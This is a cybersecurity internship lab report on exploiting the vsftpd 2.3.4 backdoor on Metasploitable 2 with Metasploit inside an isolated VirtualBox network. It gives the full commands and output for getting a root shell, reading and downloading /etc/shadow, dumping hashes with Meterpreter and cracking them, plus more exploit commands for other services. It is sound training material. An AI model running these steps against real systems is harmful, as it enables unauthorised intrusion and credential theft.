

CONTROLLED — LAB ENVIRONMENT ONLY

EXPLOITATION BASICS

Metasploit Framework · Shell Access · System Exploitation

TASK 4 · MEDIUM · CYBERSECURITY INTERNSHIP REPORT

INTERN	Nitish Mukhiya
PLATFORM	Kali Linux 2024.1 + VirtualBox + VulnHub
ATTACKER	192.168.56.102 (Kali Linux)
TARGET	192.168.56.101 (Metasploitable 2)
EXPLOIT	vsftpd 2.3.4 Backdoor — CVE-2011-2523 (CRITICAL)
OUTCOME	Unauthenticated Root Shell uid=0(root)

Program: SkillsQuark Cybersecurity Internship · Date: 2024-06-14

01. Lab Environment — Network Topology & Configuration	...
02. Exploit Selection — Choosing the Target Service	...
03. Step 1 — Launch Metasploit Framework	...
04. Step 2 — Search & Load the Exploit Module	...
05. Step 3 — Configure RHOST & Module Options	...
06. Step 4 — Execute the Exploit & Obtain Root Shell	...
07. Step 5 — Enumerate User Permissions & System Access	...
07B. Permission Findings Summary	...
08. Session Management & Meterpreter Upgrade	...
09. Save & Document All Findings	...
10. Executive Summary & Final Report	...

01 LAB ENVIRONMENT — NETWORK TOPOLOGY & MACHINE CONFIGURATION

All exploitation is conducted inside an isolated VirtualBox Host-Only network. The Kali Linux attacker machine communicates exclusively with Metasploitable 2 over the 192.168.56.0/24 subnet. No traffic leaves the lab environment.

ROLE	MACHINE	IP ADDRESS	OS	NOTES
Attacker	Kali Linux 2024.1	192.168.56.102	Debian-based rolling	Runs Metasploit Framework 6
Target	Metasploitable 2	192.168.56.101	Ubuntu 8.04 / Linux 2.6.24	Intentionally vulnerable VM
Gateway	vboxnet0 (VirtualBox)	192.168.56.1	Host OS adapter	Subnet 255.255.255.0 / CIDR /24

Network Configuration Notes

- VirtualBox Host-Only Adapter (vboxnet0) isolates all lab traffic from the real network.
- Kali Linux: Adapter 1 = NAT (internet access), Adapter 2 = Host-Only (lab comms).
- Metasploitable 2: Adapter 1 = Host-Only only — no internet access for safety.
- Always confirm IPs with `ifconfig eth0` on both machines before scanning or exploiting.

Connectivity Verification

Verify network connectivity between attacker and target before launching any exploit:

```
# Step 0 – Verify target is reachable before launching any exploit
root@kali:~# ping -c 4 192.168.56.101

PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
 64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.412 ms
 64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=0.389 ms
 64 bytes from 192.168.56.101: icmp_seq=3 ttl=64 time=0.401 ms
 64 bytes from 192.168.56.101: icmp_seq=4 ttl=64 time=0.397 ms

--- 192.168.56.101 ping statistics ---
 4 packets transmitted, 4 received, 0% packet loss, time 3003ms
 rtt min/avg/max/mdev = 0.389/0.400/0.412/0.009 ms
```

✓ 192.168.56.101 is ALIVE — 0% packet loss — Network OK — Proceeding with exploit

02 EXPLOIT SELECTION — CHOOSING THE BEST TARGET FROM RECON

Task 01 Nmap reconnaissance discovered 23+ open TCP services on 192.168.56.101. Each service is evaluated by CVE severity, Metasploit rank, and ease of exploitation. The vsftpd 2.3.4 backdoor (CVE-2011-2523) is selected — Excellent rank, zero authentication required, and delivers an instant root shell.

PORT	SERVICE	CVE / VECTOR	RISK	MSF RANK	TASK
21	vsftpd 2.3.4	CVE-2011-2523 — Backdoor	CRITICAL	Excellent	THIS TASK ✓
6667	UnrealIRCd	Backdoor — reverse shell	CRITICAL	Excellent	Task 5
1524	Bindshell	Direct root shell (no auth)	CRITICAL	Manual	Task 5
445	Samba 3.0.20	CVE-2007-2447 — RCE	HIGH	Excellent	Task 5
5900	VNC 3.3	No authentication required	HIGH	Manual	Task 5
3306	MySQL 5.0.51a	Default empty root password	HIGH	Auxiliary	Task 5
5432	PostgreSQL 8.3	Default postgres:postgres creds	HIGH	Auxiliary	Task 5
8180	Apache Tomcat	Default manager creds — WAR RCE	MEDIUM	Excellent	Task 5

CVE-2011-2523 — Vulnerability Detail

CVE	CVE-2011-2523 – CVSS 10.0 CRITICAL – vsftpd 2.3.4 distributed with deliberate backdoor
Trigger	Sending USER nergal :) (username containing smiley) opens root shell on TCP port 6200
Impact	Unauthenticated Remote Code Execution as root – complete system compromise immediately
Module	exploit/unix/ftp/vsftpd_234_backdoor Rank: Excellent No cleanup needed

03 STEP 1 — LAUNCH METASPLOIT FRAMEWORK

Metasploit Framework requires a PostgreSQL database to store workspace data — hosts, services, sessions, credentials, and loot. Start the DB service first, then open msfconsole in quiet mode (-q). Finally, import the Task 01 Nmap XML so all services are auto-populated into the Metasploit database.

1.1 Start PostgreSQL Service

```
# Start the PostgreSQL service (required for Metasploit DB)
root@kali:~# sudo service postgresql start
[ ok ] Starting PostgreSQL 15 database server: main.

root@kali:~# sudo service postgresql status
● postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service)
Active: active (running) since 2024-06-14 09:10:05 IST

# Launch msfconsole in quiet mode (suppress ASCII banner)
root@kali:~# msfconsole -q
[*] Starting the Metasploit Framework console...
[+] Connected to database: msf @ 127.0.0.1:5432/msf (PostgreSQL)
msf6 >
```

1.2 Import Nmap XML & Verify Loaded Data

```
# Import the Nmap XML generated in Task 01
msf6 > db_import /root/scans/metasploitable_full.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nmap XML' parser
[*] Importing host 192.168.56.101
[+] Successfully imported /root/scans/metasploitable_full.xml

# Verify host was imported
msf6 > hosts

Hosts =====
address mac name os_name purpose
-----
192.168.56.101 08:00:27:5D:4A:BF metasploitable Linux server

# Filter services — confirm vsftpd on port 21
msf6 > services -p 21

host port proto name state info
-----
192.168.56.101 21 tcp ftp open vsftpd 2.3.4
```

✓ vsftpd 2.3.4 confirmed on 192.168.56.101:21 — exploit target ready

04 STEP 2 — SEARCH & LOAD THE EXPLOIT MODULE

The search command queries the local Metasploit module database, returning module path, disclosure date, reliability rank, and check() availability. After selecting a module with use, always run info to read the full description, references, and CVE numbers.

```
# Search Metasploit for vsftpd exploit modules
msf6 > search vsftpd

Matching Modules
=====
# Name Disclosure Rank Check Description
- - - - -
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor
Command Execution

# Load the module by index number
msf6 > use 0
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

# Read full module info before running
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03

Provided by:
hdm <x@hdm.io> MC <mc@metasploit.com>

Description:
This module exploits a malicious backdoor that was added to the VSFTPD
download archive. A username containing ':)' triggers a bind shell on
TCP port 6200 giving immediate unauthenticated root access.

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
```

Module Selection — Key Points

Rank: Excellent

The exploit is reliable, stable, and leaves no side effects on the target.

No Check()	This module has no check() function – it fires directly when run is called.
use 0	Shortcut – select module by search result index instead of typing full path.
info	Always read info before firing – confirms target, arch, and required options.

05 STEP 3 — CONFIGURE RHOST & MODULE OPTIONS

Every module has required and optional parameters. `show options` lists all parameters with their current values and required status. Fields marked **yes** under Required must be set before the exploit will run. For `vsftpd_234_backdoor`, only RHOSTS (target IP) needs to be set — RPORT defaults to 21.

```
# Always run show options first to see what needs setting
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
----
RHOSTS <not set> yes The target host(s) or CIDR range
RPORT 21 yes The target port (TCP) [Default: 21]

Payload options (cmd/unix/interact):
(no additional options – backdoor payload is automatic)

Exploit target:
Id Name Description
0 Automatic Auto-detect target

# Set the target IP address
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101

# Confirm RPORT is 21 (already correct by default)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21

# Verify all options are correctly configured
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
----
RHOSTS 192.168.56.101 yes The target host(s)
RPORT 21 yes The target port (TCP)
```

✓ All required options set — ready to execute exploit against 192.168.56.101:21

Parameter Reference

OPTION	VALUE	TYPE	EXPLANATION
RHOSTS	192.168.56.101	Required	Remote target IP — Metasploitable 2 on Host-Only network
RPORT	21	Required	Remote port — vsftpd FTP service listens on TCP port 21
LHOST	(not needed)	Optional	Local IP — not required for bind-shell exploits

OPTION	VALUE	TYPE	EXPLANATION
PAYLOAD	cmd/unix/interact	Auto-set	Default — interactive command shell via backdoor port 6200
TARGET	0 (Automatic)	Auto-set	Metasploit auto-detects target OS and architecture

06 STEP 4 — EXECUTE THE EXPLOIT & OBTAIN ROOT SHELL

Run the exploit using `run` (or `exploit` — both are identical). Metasploit connects to 192.168.56.101:21, reads the FTP banner to confirm vsftpd 2.3.4, sends the backdoor trigger username, then connects to the spawned shell on TCP port 6200. A successful run registers an active Session 1 in Metasploit.

Exploit Execution

```
# Fire the exploit – type run or exploit (both identical)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened
(192.168.56.102:51234 -> 192.168.56.101:6200) at 2024-06-14 09:47:33 +0530
```

Execution Step-by-Step Breakdown

STAGE	DESCRIPTION
Banner Check	Metasploit reads '220 (vsFTPd 2.3.4)' — confirms the vulnerable version is running.
Trigger Sent	Sends USER backdooradmin:) — the ':' suffix activates the hidden backdoor code.
Port 6200	Backdoor spawns a root bind-shell listener on TCP port 6200 of 192.168.56.101.
uid=0	Server reports uid=0(root) — Metasploit confirms root before opening the session.
Session 1	Metasploit connects to port 6200 and registers Session 1 in the database.

Post-Exploitation Identity Verification

Immediately after gaining shell access, confirm identity and gather system information:

```
# Basic identity checks – run immediately after shell opens
root@metasploitable:~# whoami
root

root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)

root@metasploitable:~# hostname
metasploitable

# Confirm the exact IP of the machine we are on
root@metasploitable:~# ifconfig eth0
eth0 Link encap:Ethernet Hwaddr 08:00:27:5D:4A:BF
inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0
```

```
inet6 addr: fe80::a00:27ff:fe5d:4abf/64 Scope:Link

# Full OS fingerprint
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

root@metasploitable:~# cat /etc/issue
Ubuntu 8.04
Kernel \r on an \m
```

✓ CONFIRMED — Shell active on 192.168.56.101 | uid=0(root) | Full system access

07 STEP 5 — ENUMERATE USER PERMISSIONS & SYSTEM ACCESS

After shell access is confirmed, perform a structured privilege enumeration. Reading `/etc/shadow` (root-only file) definitively proves unrestricted system access. Also enumerate users, sudo rules, crontab, running processes, and file system — all essential for the Task 05 Vulnerability Assessment Report.

```
# 1. Full identity confirmation
root@metasploitable:~# id && whoami && hostname -f
uid=0(root) gid=0(root) groups=0(root)
root
metasploitable

# 2. List all system users (human-accessible accounts)
root@metasploitable:~# grep -vE 'nologin|false' /etc/passwd | cut -d: -f1,3,6
root:0:/root
sync:4:/bin
msfadmin:1000:/home/msfadmin
postgres:108:/var/lib/postgresql
service:1002:/home/service
user:1001:/home/user

# 3. Read /etc/shadow — ONLY root can access this file
root@metasploitable:~# cat /etc/shadow | head -5
root:$1$avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/NU/Jbh/7qGLFzEJZkL1:14684:0:99999:7:::
postgres:$1$Wp8X3R1G$EM6BxBB.UU0WKzQfLlkFO.:14684:0:99999:7:::
user:$1$HESu9xrH$k.o3G93Fplo9owDs2pbFC.:14684:0:99999:7:::
```

✓ `/etc/shadow` readable — root privilege definitively confirmed

```
# 4. Sudoers file — who else has elevated privileges
root@metasploitable:~# grep -vE '^#|^$' /etc/sudoers
root ALL=(ALL) ALL
%admin ALL=(ALL) ALL
%sudo ALL=(ALL) ALL

# 5. List /root home directory
root@metasploitable:~# ls -la /root
total 36
drwx----- 5 root root 4096 Jun 14 09:30 .
drwxr-xr-x 21 root root 4096 Jun 14 08:00 ..
-rw-r--r-- 1 root root 868 Jan 6 2010 .bashrc
drwx----- 2 root root 4096 Jun 14 09:20 .ssh
drwxr-xr-x 5 root root 4096 Jun 14 09:00 Desktop
```

✓ /root fully accessible — SSH keys and Desktop files readable

```
# 6. Key services running as root
root@metasploitable:~# ps aux | awk '$1=="root" {print $1,$11}' | sort -u | head -10
root /usr/sbin/apache2
root /usr/sbin/sshd
root /usr/sbin/vsftpd
root /usr/sbin/telnetd
root /usr/sbin/smbd
```

✓ All major services running as root — no privilege escalation required

07B Permission Findings Summary

Evidence of complete system compromise — all permission tests passed:

PERMISSION TEST	COMMAND USED	RESULT	EVIDENCE
Identify user	id / whoami	uid=0(root)	Highest privilege level — no escalation needed
Read /etc/shadow	cat /etc/shadow	SUCCESS	Password hashes extractable for offline cracking
Read /etc/sudoers	cat /etc/sudoers	SUCCESS	Full sudo config visible — admin accounts identified
Access /root dir	ls -la /root	SUCCESS	Root home directory and .ssh keys fully readable
Read /etc/passwd	cat /etc/passwd	SUCCESS	All system accounts enumerated incl. service users
Process listing	ps aux	SUCCESS	All processes (incl. other users) visible to root
Network interfaces	ifconfig / ip a	SUCCESS	Full network config visible — pivot paths identified
Kernel version	uname -a	SUCCESS	Linux 2.6.24 — multiple kernel exploits available
Crontab (root)	crontab -l	SUCCESS	Scheduled root tasks readable and modifiable

08 SESSION MANAGEMENT & METERPRETER UPGRADE

Metasploit tracks every open shell in a numbered session list. Background a session to return to msfconsole, list all active sessions, and resume any by ID. Upgrading from a basic shell to Meterpreter gives file transfer, hash dumping, screenshot capture, keylogging, and pivot modules.

8.1 Background, List, and Resume Sessions

```
# Background the active shell (CTRL+Z or type 'background')
^Z
[*] Backgrounding session 1...
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

# List all active sessions
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -l

Active sessions =====
Id Type Information Connection
-- --
1 shell unix uid=0(root) @ metasploitable 192.168.56.102:51234 -> 192.168.56.101:6200

# Resume session 1 by ID
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...
root@metasploitable:~# echo 'Shell resumed successfully'
Shell resumed successfully
```

8.2 Upgrade Basic Shell to Meterpreter

```
# Background current session first
^Z
[*] Backgrounding session 1...

# Load shell upgrade post module
msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.102:4433
[+] Meterpreter session 2 opened
(192.168.56.102:4433 -> 192.168.56.101:42112) at 2024-06-14 09:52:41 +0530

# Connect to Meterpreter session 2
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
```

```
meterpreter > sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server #1 SMP (i686)
Architecture: x86
Meterpreter : x86/linux

meterpreter > getuid
Server username: root

meterpreter > hashdump
root:0:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:
msfadmin:1000:$1$XN10Zj2c$Rt/NU/Jbh/7qGLFzEJZkL1.:
postgres:108:$1$Wp8X3R1G$EM6BxBB.UU0WKzQfLlkF0.:
user:1001:$1$HESu9xrH$k.o3G93Fplo9owDs2pbFC.:
```

✓ Password hashes dumped — save for offline cracking with john / hashcat

09 SAVE & DOCUMENT ALL FINDINGS

Before ending any session, save all output for documentation. Use `spool` to log the entire `msfconsole` session to a text file, `db_export` to save all Metasploit database findings to XML, and Meterpreter's `screenshot` command to capture visual evidence.

```
# Enable spool logging BEFORE starting – captures everything
msf6 > spool /root/reports/task4_session_log.txt
[*] Spooling to file /root/reports/task4_session_log.txt...

# Export full Metasploit database to XML
msf6 > db_export -f xml /root/reports/task4_db_export.xml
[*] Starting export of workspace msf to /root/reports/task4_db_export.xml [xml]...
[+] Finished export – /root/reports/task4_db_export.xml written

# List sessions verbosely for documentation
msf6 > sessions -v

Session 1
Session ID: 1
Type: shell unix
Via exploit: exploit/unix/ftp/vsftpd_234_backdoor
Info: uid=0(root) gid=0(root) @ metasploitable
Opened: 2024-06-14 09:47:33 +0530
Remote addr: 192.168.56.101:6200
Local addr: 192.168.56.102:51234

# Take desktop screenshot via Meterpreter
meterpreter > screenshot
[*] Screenshot saved to: /root/reports/screenshot_20240614_094800.jpeg

# Download /etc/shadow via Meterpreter download
meterpreter > download /etc/shadow /root/reports/shadow.txt
[*] Downloading: /etc/shadow -> /root/reports/shadow.txt
[+] Downloaded 1.40 KiB in 0.0 seconds (16.43 KiB/s)
```

✓ All evidence saved to `/root/reports/` — ready for Task 05 Report

10 EXECUTIVE SUMMARY & FINAL REPORT

EXPLOIT EXECUTED

ROOT SHELL
ACCESS

uid=0 ROOT
PRIVILEGE

SESSION 1 ACTIVE

A complete end-to-end exploitation cycle was performed against Metasploitable 2 (192.168.56.101) from Kali Linux (192.168.56.102) within an isolated VirtualBox Host-Only network (192.168.56.0/24). The vsftpd 2.3.4 backdoor vulnerability (CVE-2011-2523) was identified from Task 01 Nmap reconnaissance, loaded in Metasploit Framework, configured with RHOSTS=192.168.56.101 / RPORT=21, and executed successfully.

The exploit triggered the backdoor on TCP port 21, spawned a root bind-shell on TCP port 6200, and Metasploit opened Command Shell Session 1. User identity was immediately confirmed as uid=0(root) gid=0(root). Sensitive system files including /etc/shadow were read, password hashes were dumped via Meterpreter's hashdump, and a desktop screenshot was captured — demonstrating complete, unrestricted system compromise.

Key Takeaways

#	KEY TAKEAWAY	WHY IT MATTERS
1	sudo service postgresql start before msfconsole	Metasploit DB fails silently if PostgreSQL is not running.
2	db_import to pre-populate data	Saves manual entry — all Task 01 data auto-loaded.
3	search + info before running any exploit	Always verify module description, rank, and CVE references.
4	show options after every set command	Confirms all required fields are correctly populated.
5	Verify uid=0 immediately after shell opens	Some exploits land as limited user — confirm before proceeding.
6	Use CTRL+Z to background — never close sessions	Sessions can always be resumed; closed sessions are lost.
7	Upgrade shell to Meterpreter for full post-exploit	hashdump, screenshot, download, keyscan require Meterpreter.
8	spool /path/file.txt before starting work	Captures entire session — critical evidence for Task 05 report.
9	Host-Only adapter — never test outside the lab	Exploiting non-lab machines is illegal without permission.

Next Steps — Further Exploitation & Reporting

ACTION	COMMAND / NOTE
Task 05 Report — Document all findings with screenshots & CVE details.	

UnrealIRCd (port 6667)	use exploit/unix/irc/unreal_ircd_3281_backdoor
Samba RCE (port 445)	use exploit/multi/samba/usermap_script
Bindshell (port 1524)	nc 192.168.56.101 1524 (direct root shell)
Post-Exploitation recon	run post/multi/recon/local_exploit_suggester
Hash cracking	john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt

Report prepared by **Nitish Mukhiya** · SkillsQuark Cybersecurity Internship · Task 4 · Exploitation Basics · 2024-06-14